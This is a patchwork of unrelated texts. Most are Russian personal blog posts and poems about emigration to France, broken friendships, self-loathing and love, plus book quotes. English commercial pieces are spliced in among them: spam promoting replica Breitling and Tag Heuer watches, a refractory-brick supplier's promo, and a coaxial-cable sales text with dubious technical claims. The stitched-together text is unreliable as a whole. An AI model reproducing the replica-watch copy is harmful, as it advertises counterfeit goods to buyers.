  • здороваться с жителями округа, в котором я живу, даже если я их не знаю (конечно, я их не знаю), но мы все как-то негласно соседи.

И делать еще сто тысяч повседневных вежливых жестов, которые ты перестаешь замечать, потому что окружающие ведут себя так же. И пускай вежливость французов зачастую формальная, холодная и никакая не сердечная. Но она есть. Она витает в воздухе. И это дает ощущение, что только так и нужно, только так и должно быть.

2. Всегда требовать большего и лучшего. А еще – быть бойкой с официантами

Каждый, кто прожил во Франции хотя бы пару лет, скажет вам, что с сервисом у местных большие проблемы. Ну не умеют они подойди к потребителю так, чтобы тот почувствовал себя королем вечеринки, независимо от того, покупает он диван, бокал шардоне или «Бентли». А о французских официантах и вовсе можно слагать зловещие легенды. Многие из них начинались бы так: «Его ледяное равнодушие можно было колоть на кусочки и бросать в коктейль… если бы он его еще принес». Я больше не стесняюсь привлекать к себе внимание за столом высоко поднятой рукой, напоминать о том, что «полночь близится, а первого все нет», и не оставлять чаевые, если сервис, вроде как, был, но его в то же время не было.

3. Покупать еду на рынке, мясо, сыр, овощи и фрукты – в специализированных лавочках

Рынок во Франции – почти как маленький музей под открытым небом (я писала об одном из самых красивых из них вот здесь). Продукты настолько красивые, чистые и так фотогенично выложены на прилавках, что почти улыбаются вам. Одним словом, поход на рынок здесь – это приятное событие, а не повинность. Супермаркеты на их фоне меркнут и жмутся по углам, хотя, овощные отделы в них тоже очень классные. Но рынок – это совсем другая история… Атмосфера, ароматы – когда после всего увиденного и купленного возвращаешься домой, готовишь с особым удовольствием. Супермаркеты так не вдохновляют.

4. Ходить за продуктами с тележкой, корзиной, долговечным многоразовым пакетом или тканевой сумкой

Обычные пластиковые или целлофановые пакеты здесь, конечно, тоже продаются. И люди берут их на кассе в магазинах. Но это скорее случается в тех случаях, когда ты забыл взять из дому один из вышеперечисленных предметов. Здесь нет привычки каждый раз тащить домой новый пакет, если можно купить один прочный и пользоваться им год-два. А если предстоит масштабная закупка, люди берут с собой тележки, которые в Украине называли «кравчучками». Для нас они так и остались отголоском определенных времен, неким «бабушкиным» атрибутом. А здесь они есть у всех. И продаются везде. Яркие, красивые, с рисунками или однотонные, на двух обычных колесиках или на специальных, с которыми удобно идти по ступенькам. У меня – красная. На ней мой бойфренд маркером написал: «See me rollin!» А корзин – целых три. И я понимаю Джейн Биркин – это самая удобная сумка, которую только можно представить.

5. Перестать бояться возраста, уважать старость за то, что она может и должна быть красивой

Если коротко – глядя на французских пенсионеров, ты просто перестаешь бояться, что когда-то тебе будет 70, и все жизненные радости для тебя закончатся. Потому что здесь люди любых возрастов не запрещают себе наслаждаться жизнью и смаковать каждый день. Неважно, 50 им, 65 или 80.

6. Планировать отпуск заранее. Очень заранее. То есть, очень-очень заранее

Этим летом обстоятельства сложились так, что мы с моим французом до последнего не знали, в какие именно даты будем отдыхать. Поэтому бронировали жилье и билеты уже практически сидя на чемоданах. Это что-то из ряда вон. Потому что здесь принято заниматься вопросами летних каникул где-то в феврале. Только так можно выбрать самые выгодные предложения, сэкономить на авиаперелете и, наконец, просто сохранить пару сотен тысяч нервных клеток, не откладывая такое важное дело на потом.

7. Наслаждаться моментом. Никуда не спешить. Ценить свое право та отдых. Уметь отдыхать

То, о чем я говорю, лучше всего иллюстрирует умение французов пить один бокал вина на террасе кафе в течение часа (именно этим я занимаюсь на фотографии в заголовке поста). И точно так же – обедать на протяжение четырех часов. Люди за столом общаются, рассказывают истории, делятся впечатлениями, да сплетничают, наконец. Еда и алкоголь – это аккомпанемент праздника жизни, который они сами себе устраивают каждый день. Как провести незабываемый день? – Провести его и запомнить. Вот это о них. Не бежать, не суетиться, все делать размеренно. Все делать с удовольствием.

8. Всегда держать в холодильнике несколько видов сыра и бутылку белого вина

Кто-то держит красное. Не в холодильнике. Но от перестановки слагаемых, как говорится… Я всегда любила сыр, но только после переезда в Париж поняла, каким разным, неожиданным и вкусным он может быть. Сырная тарелка – это ответ на все вопросы, когда мне лень готовить, когда внезапно пришли гости, когда нужно сообразить закуску под просмотр фильма и… просто когда очень хочется. А где сыр, там и вино.

9. Одеваться и пользоваться косметикой, в первую очередь, для себя

Но здесь дело не только в переезде, а еще и во взрослении как таковом. 20 и 27 лет – это разная внешность и подход к ней. Разное восприятие женственности, привлекательности и посыла, который есть в твоей манере одеваться, краситься и причесываться. А бонус в виде знакомства с европейской расслабленностью и легкостью в этом вопросе, на мой взгляд, лучшее, что может случиться с женщиной, которая выросла в патриархальной культурной среде. В обществе, где женщине положено одеваться так, чтобы быть привлекательной для мужчины. Где ее внешность априори должна быть заточена под ловлю на живца. Европейки же, напротив, хотят быть привлекательными для себя. А еще они хотят, чтобы ноги не болели, поэтому – привет, плоская подошва, красивые кроссовки, уточненные балетки и так далее. С макияжем та же история. Подчеркнуть лучшее – да. Дорисовывать новое – нет.

10. Благодарить за невероятную красоту вокруг и огромные возможности, которые дарит жизнь во Франции

Даже если никуда не выезжать из Парижа. Даже если проводить здесь все выходные, все праздники и каникулы. Это все равно бесконечный колодец, искусства, истории, эстетики, вкуса и открытий. А уж если путешествовать… Все, от стоимости билетов на лоукосты и до отсутствия необходимости делать шенгенскую визу, каждый раз дает фантастическое ощущение, что ты можешь обнять весь мир и не утонуть при этом в пучине бюрократии.

Формула, по которой так или иначе живут все иммигранты (если они, конечно, благодарные люди по жизни), звучит так: не забывай свои корни и будь благодарен за новые возможности.

Франция, спасибо.

Ольга Кутрус

Предпочитая гордости самодостаточность. Мы общество одиночек, парализованных собственным страхом, мнимыми предрассудками, гной в загнивающей ране. Теперь на кричащий стук в дверь никто никогда не откроет, никто никому не поможет - это все чего мы добились. Это не жизнь, это война, война без побед и поражений. Кто отменил человечность, кто запретил сострадание в грязных и душных квартирах, на кухнях с уютными петлями, что делают дни незаметнее. И это все, ради чего здесь стоит оставаться. Быть тем, кем не мог быть. Оставаться. Созидая иллюзии постоянной опасности, мы закрываем все двери изнутри себя. Но даже в мире Иуд найдется место для правды.

Господи, как же заебало то.
Как бесит, что моя подруга (видимо, уже пора начинать писать это слово по отношению к ней в кавычках) А. то, блять, нормально со мной общается, то вдруг я ей нахуй не нужна. Постоянно вот такая хрень: общаемся нормально, потом раз, и она приходит и не разговаривает со мной ни с того, ни с сего, и по её лицу видно, чтобы я нахуй вообще от неё шла. А потом мне же сама и говорит, что это Я с ней не разговариваю, хотя она со всеми общается нормально, а именно со мной нет. Заебало её такое отношение ко мне, заебало то, что я всегда и во всём виновата, а она ни разу у нас виновата ни в чем передо мной не была, только я такая же хуевая. Да, я сама далеко не одуванчик, но, когда я ни в чём не виновата, просто не общаться со мной ?! Что?! Почему?! Как же надоело! Ведь я её считаю единственной такой близкой подругой (хотя уже не только её). Я ей могла рассказать всё, я всегда её выслушиваю, она тоже мне много чего рассказывала, но… Но меня заебало то, что это дружба только с одной стороны. Ведь у неё есть своя лучшая подруга. Сейчас она всё больше начала общаться с Э. и В. И я не то, чтобы просто ревную, я вижу, что ей общение со мной просто до фонаря. Так и пусть катится к чёрту.

Надо учиться уважать себя, а не держаться, прощать и терпеть всё только потому, что это один из последних моих "друзей". Я даже слово "друзья" уже без кавычек писать не могу.

что ж. новый блог- новая жизнь?) я таки покинула свое прежнее прибежище, где раньше выплескивала наболевшее, удовлетворяя потребность выговориться, когда выговориться было некому. но вот уже полгода я не изливаю терзания душеньки своей на письме, ибо все это время в том не представлялось нужды, ввиду появления в моей жизни некоторых человечков, которые к слову стали частью моей жизни, хотя - тутниченосмешного- нам еще не довелось встретится ин риал лайф. да, потому что по закону гребаной подлости они все из разных городов. эм.ну не суть. так вот, за эти полгода моя жизнь несколько изменилась и изменения эти признаться не пошли мне на пользу, ну во всяком случае я пока этого не чувствую. и это одна из причин почему я снова здесь- необходимость сортировать мысли и. .понимать себя. в общем, думается мне что пора представить свою особу. итак, меня зовут М.., влачусь в этом бренном мире вот уж 18 лет. являюсь представителем того типа людей, которых никтоникогданепонимает, и которые пздц как "любят" одиночество, в действительности стараясь всеми способами от него скрыться.

Ненавижу в себе все. От голоса до внешности. Даже иногда от поведения до своей ебучей чувствительности. Конкретная неуверенность в себе. Всегда кажется, что не то говорю, не то делаю, выгляжу глупо. Малейший проступок или какой-то упрек в мой адрес и я уже краснею и т.д, невероятно бесит. Сейчас вот поговорила по телефону и услышала эхо своего голоса. Думаю сууууккаа, как ты живешь то вообще с таким голосом! Заткниись нахуй. Пиздец убого. Устала от себя уже.

А вот и привет бессоница!) Работаю 12 часов, прихожу домой и засыпаю в 9 утра. По идее, при хорошем раскладе, я должна спать минимум до 4-5 часов, а обычно мы ночники все спим до 6, как убитые. Но нет, я проснулась в 11 утра, поняв, что два часа это ужасно, заставила себя уснуть, и все равно проснулась в 2 часа. И вчера точно так же было. Я просыпаюсь сама спустя приблизительно 4 часа. И все, дальше спать не могу. Дальше я думаю, думаю и ещё раз думаю и не знаю, как избавится от всех этих тупых мыслей.

внутри шкребет так.. хочу написать и чтобы ты ответил.. не могу перестать заходить и проверять - ответил ты или так и продолжешь молчать.. игнорируешь? думаю да.. но есть такая мысль, что ты и не видишь.. но в этом я слишком сомневаюсь..

у нас холодно очень. снег обещают.. у вас там наверно уже не раз он прошел.. ты всегда присылал фотографии с первым снегом.. я всегда улыбалась..

я все же считаю, что простить можно все.. абсолютно все! я ж простила то, что ты уехал.. только вот чем это все обернулось.. но абсолютно все можно простить. я знаю.

Я не против обоснованной критики в свой адрес, но только не от инкубаторских школьниц, одетых с рынка, пытающихся показаться старше своих лет.)

После первых серьёзных отношений абсолютно разучился доверять девушкам, и последующий отношения страдали из-за моей ревности, чувствую что нельзя доверять и не могу с этим чувством ничего сделать, ни успокоить, ни сдержать, потому что если начинаю сдерживать, то внутри начинает всё еще сильнее бурлить и потом вырывается ещё хуже. Размышлял о причине этого и пришёл к выводу, что причина не во мне, возможно ошибаюсь, так как просто девушки не внушают мне доверия. Каждый раз когда просыпается это чувство сразу понимаю - отношениям скоро придёт конец. Так понимаю когда найду девушку, с которой всё будет взаимно это чувство пропадёт, так как буду чувствовать её любовь.

Day 8. Книга, которая стала причиной безудержного смеха?

Тэффи "Рассказы"

Тэффи или Надежда Александровна Лохвицкая, сестра моей любимой поэтессы Мирры Лохвицкой и одна из немногих, кого я воспринимаю в русской классике. Её рассказы входят в список моих любимых произведений. Не могу сказать, что смеюсь при прочтении Тэффи до слёз, но с чувством юмора у неё всё в порядке. Её рассказы очень лёгкие, порой с ноткой сарказма или самоиронии, но для меня всегда потрясающие. Когда настроение портится, то мне достаточно почитать Тэффи и оно, если не становится прекрасным, то определённо улучшается. Петербурженка, эмигрировшая в Париж, с ранних лет покорила меня своими рассказами.

«Прятаться за мужской псевдоним не хотелось. Малодушно и трусливо. Лучше выбрать что-нибудь непонятное, ни то ни сё. Но — что? Нужно такое имя, которое принесло бы счастье. Лучше всего имя какого-нибудь дурака — дураки всегда счастливые. Вспомнился один дурак, действительно отменный и вдобавок такой, которому везло, значит, самой судьбой за идеального дурака признанный. Звали его Степан, а домашние называли его Стеффи. Отбросив из деликатности первую букву (чтобы дурак не зазнался) решила подписать пьеску свою „Тэффи“».

Очень интересно, кто придумал делать Новогодние каникулы в ВУЗах одного города в разные даты!

У нас даже с другими факультетами и курсами не совпадают каникулы!

Как людям планировать совместный отдых?

Только с любимым твердо решили ехать в Шерегеш на эти каникулы, уже нужно все бронировать, но… у меня сессия закрывается уже в середине Января и я могу спокойно отдыхать, а у него сессия до конца января.

Соответственно, когда я уже выхожу в новый семестр, у него начинаются каникулы.

Как нам, черт возьми, быть???

Novaspace ♥

Очень спокойно, мелочью не гремя,
Выйти навстречу, пальчиками тремя
Тронув курок, поближе стрелять к межбровью;
Если и вправду это зовут любовью, -
Господи Святый Боже, помилуй мя.
Страсть - это шаткий мост от друзей к врагам;
Если фанатик - значит, и моногам:
Ты ему дышишь в шею, едва осмелясь,
А в голове отточенным хуком в челюсть
Складываешь бесшумно к своим ногам
.

Страсть - это очень технологичный дар
Чуять его за милю нутром - радар
Встроен; переговариваться без раций
.
Хочешь любить - научишься доверяться.
Фирменный отрабатывая удар.

День 38: Мысли о Вашем поколении.

Вечнострадальческое, потерянное, думающее, что неподвластно контролю. Именно наше поколение будет "забито" тату, и будут люди с гордостью произносить "У меня их нет" Считающие себя самыми лучшими, элитой, не похожей на всех. А сейчас все такие) Помешаны на спорте, пп, брендах, алкоголь, соцсети, телефоны, моноподы, инста/тамблер.
О чем говорить, если я сама на многом помешана?)

В целом, сейчас у меня все отлично. Конечно, если не брать в расчет, что у меня опять нет денег и до 25 числа я голодаю, что у меня до черта работы, пора готовиться к сессии, ломается телефон и прочие мелкие неприятности. Меня даже удивляет мой оптимизм/, позитивный настрой и хорошее настроение. Мой Воскресший Кривкинец больше не пишет. Воскрес, узнал как я и сдох. я даже рада этому факту, потому что эту страницу я "перевернула" 2 года назад и перечитывать заново совсем не хочется.

Мне пишет какой-то парень, знакомый подруги, которому я до жопы понравилась. а мне наплевать, меня развлекает общение с ним, но переводить его в реальную жизнь, а уж тем более отвечать взаимностью мне тоже совсем не хочется.

Поэтому все выходные мы с подругой просидели в кальяной, я переглядывалась с кальянщиками и весело проводила время.
мне наконец-то легко и свободно. Айм хэппи

– Чего ты хочешь, дорогая?

***

Хочу с начальством меньше лая,

Учиться в Хогвартсе, уметь

Трехчлены складывать в уме,

Чтоб вечно жили мама с папой,

Слетать в Париж, не быть растяпой,

8 Марта, Новый Год,

А сучке Клюевой – бойкот,

Твоих подруг «Вконтакте» скальпы,

Фигуру, как у Джесси Альбы,

Борща, пироженок, котлет,

Текилы, виски, «Божоле»,

Ведро [нет, тонну!] мандаринок

С похмелья – сразу аспирина,

Как Ленка – жрать и не толстеть,

Сиреневые туфли те,

Соплей твоей супруги бывшей,

А лучше - труп ее остывший,

Вставать не раньше десяти,

Бездомных котиков спасти,

Халвы, варенья и печенек,

На жопу меньше приключений,

Дружить с бедовой головой…

***

– Спасибо, милый… ничего.

Лисёнкова

Сегодня понедельник а я доома :) но завтра опять уезжать, и не просто а на две недели( (скорее бы кончился ноябрь чтобы отдыхаать.. Надеюсь за ноябрь я денег получу больше чем за октябрь) Еще купила подарок любимому..серебряный браслет, ну я думаю, что он будет очень рад)) Также скоро др у аленки, тоже надо чтото думать дарить)

Я так заебалась от всех этих депрессий и прочего дерьма. Надоело. Хочу, как раньше, радоваться жизни и слать нахер всех мудаков. Но нет же, я убиваюсь из-за одного идиота, который этого не достоин. Н.А.Д.О.Е.Л.О. Отвезите меня в город, в котором меня никто не знает. Может это изменит мою жизнь. Я так больше не могу и не хочу.

Помню маленькую девочку, которая не любила фотографироваться и часто слушала своих «подруг». Время шло, маленькая девочка росла, менялась, перестала слушать «подруг», да и подруги появились настоящие. Но почему-то девочка все так же не любила фотографироваться. Да, если честно, то она просто не любила себя. Не любила свою кожу, которая со временем перестала быть идеальной. Не любила свои ноги, которые были слишком толстые. Руки, лицо, тело. Себя. Окружающие продолжали говорить, что красивая, идеальная. А те люди, которые были рядом начали заражаться этой нелюбовью. В итоге девочка осталась одна. Занялась собой. Занялась своим внутренним миром. Полюбила фотографироваться. И полюбила себя. А потом окружающие ее люди заметили эти изменения. И, наверное, тоже теперь могут ее любить.

Твори добро — пусть не поймут.
Дари добро — пусть не вернётся!
Посей добро и там, и тут.
Пусть каждого оно коснётся!

Твори добро не для чего-то,
А от сердечной чистоты.
И если злом отплатит кто-то,
То будет чист не он — а ты!

Вчера мы с моим мужчиной обсуждали его приезд, не прямо, а какими-то загадками. Налеюсь, что увижу его этой зимой, хотя сама осознаню, что все это трудно, если учесть, что там сессия, у меня две вышки и так далее. Если все будет так как мы планируем и обсуждаем, то летом поеду работать в детский лагерь, дабы заработать денег и осенью поехать к нему. Понимаю, что вечно так длиться не может, но какая разница, если все будет хорошо складываться. В конце концов мы к чему-то придем, к какомуто решению этой проблемы.

Я понимаю, что будут вечные скучания, тебянехватания, все понятно, разные страны, но на моей памяти есть уже два примера таких отношений, при чем удачных.Я надеюсь, что и этот случай не будет исключением, ибо мне так комфортно с ним, интересно. Восхищаюсь умными мужчинами, с глупым в койку одну не легла бы.

С мыслями о зиме ложусь спать. Паста.

Меня любили громкие слова
и взгляды тысячи чужих,
не Ваших.
Вы предавали
мою искренность
в объятиях
и поцелуях
на чужих губах.

И лживы вами данные обеты.
Вам совесть чужда.
Вы - моя беда.

И мечется
израненное сердце.
Меня Вы не любили
никогда.

(c) Тата Лазарева

С женщиной трудно достигнуть баланса,
Женщина соткана вся из нюансов.
Заманчивый вид, сексуальна фигура,
Немножечко гений, немножечко дура.

Немножечко хлеб и немножечко торт,
Немножечко ангел, немножечко черт,
Немножечко мед и немножко горчица,
Немножко овечка, немножко волчица.

Лучшая каждой семьи половина,
Все это — женщина!
A что же мужчина?
Он идеальным считается тоже,
Если все это… Выдержать сможет!

Everyone has lots of choices for cheap replica watches. In most online stores, you’ll see many brands of replica designer watches for sale affordable prices. When you have a great variety of brands to opt for, you may doubt which one is the right choice. Actually, due to the different taste for fashion and lifestyle, different people should choose to wear different brands of replica watches. For example, those people who want to show off a sense of luxury can take Rolex replica watches into account. As for those individuals who are fond of sophisticated and functional timepieces, Breitling replica watches undoubtedly are one of the best choices. Then, what are the enchantments of replica Breitling watches?

Let’s have a look. The first attraction of Breitling replica watches would be the exquisite design. From the sophisticated look and exquisite workmanship, it’s easy to know that Breitling replica watches are high-end and advanced timekeeping instruments. Some people don’t like Breitling replica watches because they think that these watches are too sophisticated to use. However, the fact is that Breitling replica watches are provided with various useful functions but they still can be easy to read. A part of people use Breitling replica watches for demonstrating their good taste while many people attach importance to the perfect performances. The functions of replica Breitling watches involve various aspects. From divers to travelers, there are suitable designs of Breitling replica watches to meet their demands.

Without any doubt, these replica watches can work without high technology and reliable movements. It’s true that they don’t have fashionable and eye-catching designs, but they absolutely can make a fashion statement. Wearing Breitling replica watches is a good way to reflect the wearer’s refined lifestyle. These replica designer watches are of refined workmanship and refined looks, thus they can admirably enhance the wearers’ looks as well as accentuate the refined way of life.

"Время моей жизни" Сисилия Ахерн

Цитаты

«Иногда неправильный номер - и есть правильный.»

«- Знаешь, сарказм - низшая форма остроумия.
- Возможно. зато исключительно острая»

«Даже не знаю, что грустней - не иметь мечты или выискивать чужие мечты в Интернете»

«Если у человека есть мечта, он должен хотя бы попытаться её воплотить. пусть она далёкая, трудная, но ты должна понимать, что при упорных усилиях она достижима»

«Мечта - это когда ты думаешь: если бы у меня хватило смелости это сделать - и плевать, кто что скажет, - я бы сделала именно это»

«Догадываюсь, что человеку, собирающему себя по частям, трудно находиться рядом с тем, кто и так обладает внутренней целостностью»

«Правда делает нас свободными»

«Ты снова начала читать книги? Я тебе говорил, чтобы ты от этого воздержалась. Многим оно, конечно, на пользу. А у тебя от этого в голове еще большая путаница возникает»

«Было бы неплохо, подумала я, чтобы поднялся ветер и прочистил мне мозги, выдув из головы все лишние мысли»

«Чтобы что-то произошло, нужна цепь совпадений, иногда случайных, иногда не совсем. Жизнь состоит из столкновений и противоречий, и все подчинено общему ритму, на все есть свои причины. Кабы не так, то зачем вообще все? Каждая твоя встреча, поступок и слово имеют предпосылки и последствия, влекут за собой новые, эхом отражаются в жизни других и в твоей собственной»

«Совсем, знаешь ли, не обязательно ехать в Катманду, чтобы обрести внутренний покой, некоторые способны на это прямо здесь, в городе. В пенной ванне. С книгой. И бокалом вина»

«Дурацкая ситуация: одно дело, когда ты игнорируешь свою жизнь, и совсем другое — когда она сама тебя посылает куда подальше»

«Помните, что счастье — это сама дорога, а не то, куда она приведет»

«Пока вы живы, жива и ваша жизнь. Любя своих жен, мужей, родителей, детей, а также друзей, которые вас окружают, уделяйте достаточно заботы и своей жизни, потому что ваша жизнь всегда готова вас защитить, поддержать и приободрить»

я не плохой человек и никогда не старалась казаться или быть им, это выходит само собой. в моей голове словно установка, согласно которой нужно отталкивать от себя человека, чтобы понять, на сколько сильно я нужна ему и нуждаюсь ли в нем сама. поэтому я кажусь грубой, говорю слишком прямо и резко. я всегда думала, что это пройдет с возрастом, но годы идут, а стена, которую я сама вокруг себя выстроила, все также не рушима.

Наверное самое большое моё желание - оберсти вторую половинку, не просто девушку, а человека который будет понимать меня, который будет готов проводить со мной большую часть своего свободного времени, которая хотела бы сама сделать мне что-то приятное и боялась расстроить, которая не стеснялась бы и дурачилась со мной, не боялась бы выглядеть глупой. С девушками не было проблем никогда и почти всегда получал то, что хотел и кого хотел, но за последние два года я сильно изменился, после первой любви, и как обычно с плохим финалом, хотя вроде старался сделать всё и прыгал выше головы, я далеко не мажор, а тут не понимаю сам каким образом, но находил деньги и на дорогие букеты и подарки. Может это и было моей ошибкой? Но сейчас ничего уже не изменить. И вот два года я после неё без девушки, никто не цепляет, ничего не хочу, но девушку хочу очень сильно, хочу сына в ближайшие пару лет, хочу семью. Я успокоился, устал от тусовок, клубов и тд. Хочу чтобы просто был человек, который подойдёт обнимет и поцелует нежно, большего счастья для меня нет. Разве что BMW M4, но её я куплю себе, а любовь не купишь.

Плохие моменты в отношениях либо обесценивают все происходившее «до», либо открывают глаза на реальность. Этим такие моменты и опасны.

Разочаровываюсь в людях и начинаю слушать сентиментальные песни.

Окей, ну подумаешь, меня использовали три с лишним года. Я, между прочим, тоже получала удовольствие.

Вдох-выдох.

Ведь даже ты… хуже, дешевле, проще.

до 5 декабря осталось прям чуть чуууть. ничего не купила, где будукраситься хз, платье на нашла, купальника нет, каблуки маленькие. благо хоть танец учим)
а вообще мне даже нравится это. еще я поняла, что нехрен выеживаться типо самая крутая, когда рядом твои "подружайки", кто ты без них, без своей свиты, серая мышь!пусть и бошка у тебя блондинистая.

надо готовиться, чтобы не пропозориться

Refractory selection for crowns of glass furnace regenerators must recognize both the functions of the refractories and the operating environment within the chambers.

The main function of crowns is to limit thermal losses. The main operating factors to be considered are temperature, repeated temperature cycling, airborne particulates, volatiles and load. Fuel and glass composition must also be considered when deriving the refractory specifications.

The main refractories for the crowns of glass furnace regenerators include basic refractories, silica brick, mullite brick and alumino silicates refractories. In making the choice, the resistance to creep and chemical attack must be taken into consideration.

The temperature is very important for the refractory choice. Basic refractories have limits in creep resistance. If the temperature is close to 1,500°C and the material is under a strong compression, life limiting creep will ensue. As a consequence, basic refractories can be used only if the operating temperature is lower than 1,500°C (1,460-1,480°C).

Considering only creep resistance, silica brick is the best refractory because of its lack of glassy phase and its different crystalline structure, which avoids plane slipping. Furthermore, creep starts only at temperatures close to 1700°C. Mullite brick is another quality suitable for the crowns for its excellent creep resistance.

Basic refractories have a very good chemical resistance to the alkaline gases coming from the glass furnace, but they are susceptible to carry-over enriched with silica and subsequent forsterite formation at the hot face. This chemical reaction increases volume and leads structure to a collapse.

Basic refractories can be used in the crowns temperatures lower than 1,500°C (1,460-1,480°C). Silica brick is not suggested for crowns because condensation of alkali in the colder zones of the masonry would lead to corrosion, loss of mass and also holes.

Mullite brick reacts with alkali and slags to form a series of layers which prevent alkali penetrating into the refractory and wear proceeds at a minimal rate while the thermo-mechanical properties are preserved. Mullite brick is a good choice for crowns but it must have high mullite content (95-97%).

Zhengzhou sunrise refractory Co., Ltd. is a refractory supplier from China, specializing in various refractories for glass furnaces, such as fused cast AZS block, magnesia bricks, silica brick and mullite bricks.

мне б глаза закрыть, проснуться.. и знаешь что? я не знаю: кто ты, как ты, что ты, зачем ты почему ты и тд. А получается наоборот все.. мне все это хочется знать.. прям надо больше всех! больше всех и больше всего на свете.

больно.

страшно мне.

Странно, когда больше не веришь ни в любовь, ни в дружбу. Любовь проходит, всегда! Кто бы сейчас не начал кидать в меня камни и яростно доказывать, что это не так, но пройдет время и вы сами в этом убедитесь. Все проходит. И дружба тоже. Кстати дружба заканчивается, когда начинается эта самая любовь. Человек забивает на друзей, родных, на все, что было дорого и тонет в этом губительном океане под названием - любовь. А когда она заканчивается и хочется чтобы кто нибудь вытер сопли, обнаруживается, что рядом то никого больше нет. Ибо нельзя обижать тех, кто дорожит тобой и твоей дружбой. Так что, если уж вытер ноги о друзей, не жди, что они будут ждать тебя с распростертыми чтобы вытереть твои сопли. Но самое смешное, что мы ведь все люди одинаковые. Поступаем так раз за разом. Думаете я исключение? Нет. Увы. Ох сколько раз я уже пожалела, что из за любви потеряла всех. И что теперь удивляться, что со мной поступают так же?

Every aspect of our life has strong connection with time. We can not isolate ourselves from the relationship with time. After entering the 21st century, new technology has made a great change in time keeping method. However, though the cutting-edge technology has a profound influence in our life, one thing will never change. That is wrist watch. Being the most traditional time keeping method, wrist watch replica watches online has been favored by watch collectores and fashionistas. If you want your life to be filled with surprise, replica Tag Heuer watches will create new vitality for you. We all know that branded wrist watches mean a lot to us. To Tag Heuer itself, it means style and advanced technology. Throughout the history of Tag Heuer, it has always challenged the limit of time and headed to the summit. Today, replica Tag Heuer watches inherit all the esences of real Tag Heuer, perfectly showing the watch-making concept of Tag Heuer to the public. As a matter of fact, replica Tag Heuer watches enjoy great fame because of their outstanding chronographs and top quality. Nowadays, replica Tag Heuer watches manage to continue the legend of Swiss horology and bring out the best wrist watches to the world. Actually, every piece of replica Tag Heuer has a story, telling us why Tag Heuer can make a success in competitive watch industry. Tag Heuer is a born wport watch brand. Almost all its models have a link to sports. If you are a sport lover, replica Tag Huere watches will never let you down. Enjoying the higest precision, durable materials and modern design, replica Tag Heuer watches seem to be winners in all sorts of races. If you want to share the fun of sport with your favorite watch, replica Tag Heuer watches can do more for you. In our daily life, we do need something to create new vitality to us. Yes, replica Tag Heuer watches can!

Coaxial electric cables have gained popularity ever since electronic exchange of data or connectivity of two devices evolved with the development and advancements in the IT and electronics sector. Radio transmissions where there is a compulsory requirement of receivers, transmitters and antennas are used, coaxial cables are required to connect them. The basic task of these specialized cables is to refine and strengthen the signals and transmission of devices that are to be connected together.

Coaxial cables generally come in a myriad of designs and types. Once you have an in depth Knowledge about the components then you can very well make out the shape and features along with the purpose of it.

A typical coaxial cable system will have the following designs

Designs play an important role in the usability and requirement of such specialized cables for multitudes of functions. Usually the typical parts that are common in such wires are the signal wire, insulation, shielding and sheath.

The cables are made out of copper which is the standard material for manufacturing single wires. Situated in the core of the cable, some use copper strands while others opt for more solid versions of the material as it proves for better quality and connectivity.

For insulation, electric wrappers made out of polyethylene, Teflon and foam is used. Such materials provide a better support and protection so that the signals are not distorted when they pass through the wire.

Now, the insulation also needs protection that is known as shielding and is made out of aluminum or mesh. But using the shield or not depends on manufacture to manufacture. Some companies offers shielding and other don't. This also affects the price. But it is always better to go for the products with shields as they secure the cable from interference and other disturbance. It also increases the longevity of the cable and lessens general wear and tear.

The design plays a significant importance in the proper functioning of the cable. If you are looking for an effective transmission gadget, the primary thing is that you need to understand and discover the basic principles on which the gadget works and connects. Also consider the connectivity specifications and check out that the coaxial cable is meant for the device or not.

There are several coaxial cables manufacturers in Delhi who manufacture quality products. But there are certain specifications of standard, quality and gradation which should not be overlooked. Make sure that the product is certified and matches according to you specifications. Check out for the diameter of the coaxial cables before purchasing as longer the cable is, the connectivity is stronger and the product tough. Do not go for hollow cables just because they are cheap as you have to compromise with the durability as well as the quality. The various kinds of coaxial cables have undergone a revolutionary change in the past years and the technology involved in manufacturing them has also improved from time to time. Availability of imported machinery to manufacture these cables has helped businessmen develop their business here and reap heavy profits out of the booming market. Technological advancements and globalization has let the IT business boom and coaxial cables are an integral part of it.

CONCLUSION:

So the next time you think of buying a coaxial cable, be sure that product you are buying is durable and of superior quality. Consult an expert who can help you out to understand the specifications and other information so that you can choose the right product. Do not be fooled by cheap and hollow products which will degrade the quality of signal and transmissions transferred through it. Any questions are welcomed to inquire from us! Asian Cable ---- Electric power cable supplier.

От таке відчуття шо я не знаю нашо я тут. Шо я тут забула? Це так важко не бачити нікого з моїх рідних малишок, не мати з кім поговорити як завжди. Всім тут на тебе так похуй. Зранку встаю і розумію шо ненавиджу все шо навкруги, нема нічого гарного, сіре місто, такі ж люди. Хоч і рідне місто наповнене не тількі гарними спогадами але воно ж рідне.

новая учебная неделя, да и новая неделя в принципе. за некоторый промежуток времени впервые пошла на английский. думала, что испортится настроение, но ни капельки, оно только поднялось ещё выше. появилось ощущение, будто я всё могу, будто вселенная только моя и ничья больше, будто на свете нет никаких проблем и всё идеально. это весьма неожиданно, но мне безумно нравится. появились какие-то идеи, как можно занять себя и своё время, которого на самом деле мне не хватает, но это не так важно. тем более, скоро новый год ещё, и откуда взялось это новогоднее настроение? эх, пошла бы сейчас с удовольствием гулять по улице, купила бы себе кофе и просто наслаждалась жизнью. но увы, я сейчас в универе, меня ожидает ещё две пары, и я безумно хочу спать, ибо спала всего лишь три часа, потому что залипла на вьюи. люблю этот сайт безумно. сейчас время большого перерыва. может покушать?

— Не грусти, — сказала Алисa. — Рано или поздно все станет понятно, все станет на свои места и выстроится в единую красивую схему, как кружева. Станет понятно, зачем все было нужно, потому что все будет правильно.

Льюис Кэрролл "Алиса в стране чудес"

интересно, почему большинству мужчин нравится смотреть на других женщин в сексуальном белье, а своих они пытаются побыстрее раздеть?

хотя А. и сказал, что был в восторге, но обидно, обидно.

